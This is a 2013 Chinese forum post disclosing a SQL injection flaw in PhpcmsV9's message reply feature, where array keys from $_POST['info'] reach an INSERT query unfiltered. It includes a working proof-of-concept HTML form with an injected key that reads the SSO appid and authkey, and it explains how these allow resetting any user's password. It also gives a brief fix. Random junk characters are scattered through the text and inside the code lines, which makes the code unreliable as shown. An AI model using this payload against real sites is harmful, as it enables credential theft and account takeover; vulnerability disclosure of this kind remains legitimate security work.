找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2396|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:3 P5 ?0 E4 ~5 T

/ G7 V0 r# I, u6 H' B1 P第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
4 [4 l! S# V- Y" y' J  y8 z7 g& X2 H9 W
明天再更新下一个漏洞。
6 a6 r2 ]0 x* X% F3 U8 a详细说明:- g( E* w, E8 Q
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
9 Z. R: F( x! @" h# h0 g* [4 C! v, @9 n9 w5 O. I
$messageid = $this->message_db->insert($_POST['info'],true);- I' V$ h  J0 Y# l) }* N  p% L% g& H
( Y& T' h9 t# e3 ?4 b
& [8 T: ~* E3 s, o0 I8 ~" a
insert方法是key value的,代码如下:2 }% l- O  L2 Q" V! q2 k

3 U* ~% J  {- m5 ipublic function insert($data, $table, $return_insert_id = false, $replace = false) {! B) P3 b6 V. Q
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
5 [( k& {+ y- D7 ]- ~% s% W                        return false;- q2 {/ |+ |6 L
                }4 }5 G% e! s  Q6 K# }1 _& w' X- u
               
% A; ?0 j4 O. j7 ]/ S5 _( M& l0 q& d                $fielddata = array_keys($data);
* w7 b% A2 V. {6 e& Q                $valuedata = array_values($data);
0 X: j) i! e  S* W; v7 I9 ]- p                array_walk($fielddata, array($this, 'add_special_char'));( t8 V* s6 m, I! ~0 E3 A) V
                array_walk($valuedata, array($this, 'escape_string'));
. S# E" K1 f. b: ~- k# @1 |: L                ; I# E2 P4 _7 s% Q# V
                $field = implode (',', $fielddata);! {+ p# C9 W& c
                $value = implode (',', $valuedata);! N0 K& [- u6 S7 U) F& w3 o& r$ |" u- K

/ x8 F5 Q: |4 s5 i; u3 X0 o% C                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
$ @  M- h- K4 G" @                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';, P4 q9 Y2 ~4 F% Z+ Z
                $return = $this->execute($sql);" t% N' W# @  D
                return $return_insert_id ? $this->insert_id() : $return;8 J7 v  b5 f: v7 o; z/ N1 c
        }) C$ Z1 y2 f: n6 L' T8 l. Z% V9 y* h7 t

6 m! ]% y8 d" H, a6 B  J, }5 n7 N! s  b6 L7 C& q; B8 m' r
嗯,很遗憾的是0 _- ?& R3 ~: S5 [1 Z/ M( x; a
  v' A0 O4 N1 v/ l  V: A" V1 _
array_walk($fielddata, array($this, 'add_special_char'));" {9 v3 S- {8 Y' ]$ H) b" C

1 p& x) C5 V+ z- x" l* Z' A' \( ?# G: @$ K$ l# m$ j
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
! [3 H/ l0 t8 E6 J( @2 Q+ V  y! ]7 ?- [( s7 A0 Y3 B4 v# Y: L
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
2 U7 m" K4 @, H9 |/ o: \* I# D8 }% Y3 @; k( h
漏洞证明:7 T7 Z7 s9 {1 k' V' @, U
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
% S  @$ o6 ~0 |0 B$ E: Y$ N/ G4 f1 ^
/ h& E- Y+ S3 z( f) G6 _
表单如下:用户名什么的得自己改一改。5 j% ?: O( R9 @7 |6 s, F
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">. n, r0 z  i6 M- }5 g2 v& ~
<table width="100%" cellspacing="0" class="table_form">0 i& c% g, P: b/ V
<tr>- ^: v# W1 i: B# M' x
<th>标 题:</th>1 z3 X, N' m/ k- W
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
: ?+ g! `# L& R</tr> " u3 j0 z8 ^3 A) G  E; {( A& t$ w
<tr>, Z) k3 {  k) C0 {
<th>内 容:</th>
% a* @3 e6 [* P<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
& W0 o# I: }6 `3 x$ Q6 s$ V</tr>
2 i0 W6 ^: f2 f) O7 e<input type="hidden" name="info[replyid]" value="2" /> 6 k$ E& f' W: G5 m# I
<input type="hidden" name="info[send_to_id]" value="cc" />
, P9 {  [$ ]# u4 n: |/ b9 R<input type="hidden" name="info[send_from_id]" value="hh">
# _/ s- h1 Z3 R% m4 z<!-- 漏洞的利用重点在这里开始 -->
4 ?, i8 R& Y  V% w! e* O2 I0 y1 O<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
. a. X4 [6 |) D& A<!-- 漏洞的利用重点在这里结束 -->9 O9 W: j# r$ I/ X
<tr>
* J3 {4 M/ q2 m' i/ g4 r0 @<th>验证码:</th>
8 d) b! J4 u5 P4 [& O" K8 W<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
& J' F; n& M9 U/ A: x, P4 T. ]3 P</tr>
! U) ^( s2 S8 Y1 c<tr>8 G! U3 g& n8 q5 D( {! }- f
<td></td>
  }$ g3 K/ x+ c+ u; E<td colspan="2"><label>
1 E, g" i+ n* s3 W<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>. Q- w' s) d9 v' o$ {/ K3 C
</label></td>
# @5 A2 G6 u, A) M; W- L4 Z% h</tr>
2 }! S) E/ L! P</table>+ P  e5 ^( E- I& \/ z3 n
</form>
# k* D: r3 q2 G在add_special_char函数内对key做过滤就可以了。
+ E& a+ d6 I2 v6 E; v2 J7 d+ R4 @" o+ N  J( n. x

4 P$ _0 C" N7 Y/ D+ Z0 H
$ j# P2 o* Z( u. Y& [

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表